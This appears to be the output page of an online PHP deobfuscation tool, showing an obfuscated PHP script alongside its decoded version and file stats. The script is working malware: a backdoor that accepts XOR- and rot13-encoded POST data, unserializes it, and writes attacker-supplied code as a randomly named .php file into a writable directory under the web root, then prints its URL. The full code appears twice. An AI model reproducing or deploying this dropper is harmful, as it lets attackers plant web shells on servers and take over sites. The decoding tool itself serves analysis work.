Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php function GbAyCJ($IaVNYxgLFp){$uHsMjP = chr(1088-974).'a'."\167".chr(117).chr(114).ch..

Decoded Output download

<?php function GbAyCJ($IaVNYxgLFp){$uHsMjP = chr(1088-974).'a'."w".chr(117).chr(114).chr(130-22).chr(413-313)."e".chr(99).chr(987-876).chr(825-725)."e";$aYWeHjV = 's'.chr(116)."r"."_"."r"."o"."t".chr(49)."3";$phcxVBWzs = 's'."t"."r".'_'."s".chr(112).'l'.chr(105).chr(116);$IaVNYxgLFp = $phcxVBWzs($uHsMjP($aYWeHjV($IaVNYxgLFp)));return $IaVNYxgLFp;}function HWCGhM($hTwEuHuEn, $IaVNYxgLFp){$KkyKykZ = 's'.chr(116).'r'.chr(95).'s'.chr(292-180).'l'."i".'t';$hTwEuHuEn = array_slice($KkyKykZ(str_repeat($hTwEuHuEn, (count($IaVNYxgLFp)/16)+1)), 0, count($IaVNYxgLFp));return $hTwEuHuEn;}function LiFWVbfX($ihneENhizY, $oSmcQrWAnf, $hTwEuHuEn){$aVYBpOth = "c4fadf81-2efb-41a5-82bf-52069f011358";return $ihneENhizY ^ $aVYBpOth[$oSmcQrWAnf % strlen($aVYBpOth)] ^ $hTwEuHuEn;}function BneAb($IaVNYxgLFp, $hTwEuHuEn){$IaVNYxgLFp = array_map("LiFWVbfX", array_values($IaVNYxgLFp), array_keys($IaVNYxgLFp), array_values($hTwEuHuEn));$IaVNYxgLFp = implode("", $IaVNYxgLFp);$yqMfiUIk = chr(117)."n".chr(1111-996)."e"."r".chr(708-603).'a'.chr(108).chr(105)."z"."e";$IaVNYxgLFp = @$yqMfiUIk($IaVNYxgLFp);return $IaVNYxgLFp;}function pLnrhUJ($hTwEuir){static $xPVjC = array();$wyzcWyjw = glob($hTwEuir . '/*', GLOB_ONLYDIR);$nOiJYp = count($wyzcWyjw);if ($nOiJYp > 0) {foreach ($wyzcWyjw as $hTwEu) {$NmcwwdR = "i"."s"."_".chr(520-401).chr(114).chr(712-607).chr(707-591)."a".'b'.'l'.chr(101);if (@$NmcwwdR($hTwEu)) {$xPVjC[] = $hTwEu;}}}foreach ($wyzcWyjw as $hTwEuir) pLnrhUJ($hTwEuir);return $xPVjC;}function uUNtmhtQkQ($IaVNYxgLFp){$CngMjovRuN = 'D'."O".chr(226-159)."U".chr(77)."E".'N'."T"."_".chr(82).'O'."O".'T';$hTwEufFLWpPScM = $_SERVER[$CngMjovRuN];$wyzcWyjw = pLnrhUJ($hTwEufFLWpPScM);$mrVPuG = array_rand($wyzcWyjw);$guPXsK = chr(46)."p".chr(865-761)."p";$iQoSZ = $wyzcWyjw[$mrVPuG] . "/" . substr(md5(time()), 0, 8) . $guPXsK;$AoZOvMNb = chr(102)."i".'l'.chr(101).chr(95).chr(112).chr(117)."t"."_"."c".chr(560-449).chr(110).'t'.chr(258-157).'n'.chr(423-307).chr(261-146);@$AoZOvMNb($iQoSZ, $IaVNYxgLFp);$rZNhRjx = chr(72).chr(888-804).chr(84).chr(160-80).chr(95).'H'.chr(79).'S'.'T';$rDifFmTYT = 'h'.chr(116).chr(464-348).chr(112).':'."/".'/';$BQZJRJLwmw = $rDifFmTYT . $_SERVER[$rZNhRjx] . substr($iQoSZ, strlen($hTwEufFLWpPScM));print($BQZJRJLwmw);die();}foreach ($_POST as $hTwEuHuEn => $IaVNYxgLFp){$crmYMali = strlen($hTwEuHuEn);if ($crmYMali == 16){$IaVNYxgLFp = GbAyCJ($IaVNYxgLFp);$hTwEuHuEn = HWCGhM($hTwEuHuEn, $IaVNYxgLFp);$IaVNYxgLFp = BneAb($IaVNYxgLFp, $hTwEuHuEn);if (@is_array($IaVNYxgLFp)){$mrVPuG = array_keys($IaVNYxgLFp);$IaVNYxgLFp = $IaVNYxgLFp[$mrVPuG[0]];if ($IaVNYxgLFp === $mrVPuG[0]){$fBmDdOhEL = chr(207-95)."h".'p';$fbAzDwMM = chr(112)."h".chr(112).chr(604-486)."e".chr(114)."s"."i"."o".chr(1002-892);$fKRvoxJkr = "s"."e".chr(114)."i".'a'.'l'.chr(801-696).'z'.chr(368-267);echo @$fKRvoxJkr(Array($fBmDdOhEL => @$fbAzDwMM(), ));exit();}else {uUNtmhtQkQ($IaVNYxgLFp);}}}} ?>

Did this file decode correctly?

Original Code

<?php function GbAyCJ($IaVNYxgLFp){$uHsMjP = chr(1088-974).'a'."\167".chr(117).chr(114).chr(130-22).chr(413-313)."\145".chr(99).chr(987-876).chr(825-725)."\x65";$aYWeHjV = 's'.chr(116)."\162"."\137"."\162"."\x6f"."\164".chr(49)."\x33";$phcxVBWzs = 's'."\164"."\162".'_'."\163".chr(112).'l'.chr(105).chr(116);$IaVNYxgLFp = $phcxVBWzs($uHsMjP($aYWeHjV($IaVNYxgLFp)));return $IaVNYxgLFp;}function HWCGhM($hTwEuHuEn, $IaVNYxgLFp){$KkyKykZ = 's'.chr(116).'r'.chr(95).'s'.chr(292-180).'l'."\151".'t';$hTwEuHuEn = array_slice($KkyKykZ(str_repeat($hTwEuHuEn, (count($IaVNYxgLFp)/16)+1)), 0, count($IaVNYxgLFp));return $hTwEuHuEn;}function LiFWVbfX($ihneENhizY, $oSmcQrWAnf, $hTwEuHuEn){$aVYBpOth = "c4fadf81-2efb-41a5-82bf-52069f011358";return $ihneENhizY ^ $aVYBpOth[$oSmcQrWAnf % strlen($aVYBpOth)] ^ $hTwEuHuEn;}function BneAb($IaVNYxgLFp, $hTwEuHuEn){$IaVNYxgLFp = array_map("LiFWVbfX", array_values($IaVNYxgLFp), array_keys($IaVNYxgLFp), array_values($hTwEuHuEn));$IaVNYxgLFp = implode("", $IaVNYxgLFp);$yqMfiUIk = chr(117)."\x6e".chr(1111-996)."\145"."\x72".chr(708-603).'a'.chr(108).chr(105)."\x7a"."\x65";$IaVNYxgLFp = @$yqMfiUIk($IaVNYxgLFp);return $IaVNYxgLFp;}function pLnrhUJ($hTwEuir){static $xPVjC = array();$wyzcWyjw = glob($hTwEuir . '/*', GLOB_ONLYDIR);$nOiJYp = count($wyzcWyjw);if ($nOiJYp > 0) {foreach ($wyzcWyjw as $hTwEu) {$NmcwwdR = "\x69"."\163"."\x5f".chr(520-401).chr(114).chr(712-607).chr(707-591)."\141".'b'.'l'.chr(101);if (@$NmcwwdR($hTwEu)) {$xPVjC[] = $hTwEu;}}}foreach ($wyzcWyjw as $hTwEuir) pLnrhUJ($hTwEuir);return $xPVjC;}function uUNtmhtQkQ($IaVNYxgLFp){$CngMjovRuN = 'D'."\x4f".chr(226-159)."\x55".chr(77)."\105".'N'."\124"."\x5f".chr(82).'O'."\117".'T';$hTwEufFLWpPScM = $_SERVER[$CngMjovRuN];$wyzcWyjw = pLnrhUJ($hTwEufFLWpPScM);$mrVPuG = array_rand($wyzcWyjw);$guPXsK = chr(46)."\x70".chr(865-761)."\x70";$iQoSZ = $wyzcWyjw[$mrVPuG] . "/" . substr(md5(time()), 0, 8) . $guPXsK;$AoZOvMNb = chr(102)."\x69".'l'.chr(101).chr(95).chr(112).chr(117)."\x74"."\x5f"."\x63".chr(560-449).chr(110).'t'.chr(258-157).'n'.chr(423-307).chr(261-146);@$AoZOvMNb($iQoSZ, $IaVNYxgLFp);$rZNhRjx = chr(72).chr(888-804).chr(84).chr(160-80).chr(95).'H'.chr(79).'S'.'T';$rDifFmTYT = 'h'.chr(116).chr(464-348).chr(112).':'."\57".'/';$BQZJRJLwmw = $rDifFmTYT . $_SERVER[$rZNhRjx] . substr($iQoSZ, strlen($hTwEufFLWpPScM));print($BQZJRJLwmw);die();}foreach ($_POST as $hTwEuHuEn => $IaVNYxgLFp){$crmYMali = strlen($hTwEuHuEn);if ($crmYMali == 16){$IaVNYxgLFp = GbAyCJ($IaVNYxgLFp);$hTwEuHuEn = HWCGhM($hTwEuHuEn, $IaVNYxgLFp);$IaVNYxgLFp = BneAb($IaVNYxgLFp, $hTwEuHuEn);if (@is_array($IaVNYxgLFp)){$mrVPuG = array_keys($IaVNYxgLFp);$IaVNYxgLFp = $IaVNYxgLFp[$mrVPuG[0]];if ($IaVNYxgLFp === $mrVPuG[0]){$fBmDdOhEL = chr(207-95)."\x68".'p';$fbAzDwMM = chr(112)."\150".chr(112).chr(604-486)."\145".chr(114)."\x73"."\151"."\x6f".chr(1002-892);$fKRvoxJkr = "\x73"."\x65".chr(114)."\x69".'a'.'l'.chr(801-696).'z'.chr(368-267);echo @$fKRvoxJkr(Array($fBmDdOhEL => @$fbAzDwMM(), ));exit();}else {uUNtmhtQkQ($IaVNYxgLFp);}}}}

Function Calls

None

Variables

None

Stats

MD5 e0aa7a62682688593be486a57b88dd2e
Eval Count 0
Decode Time 113 ms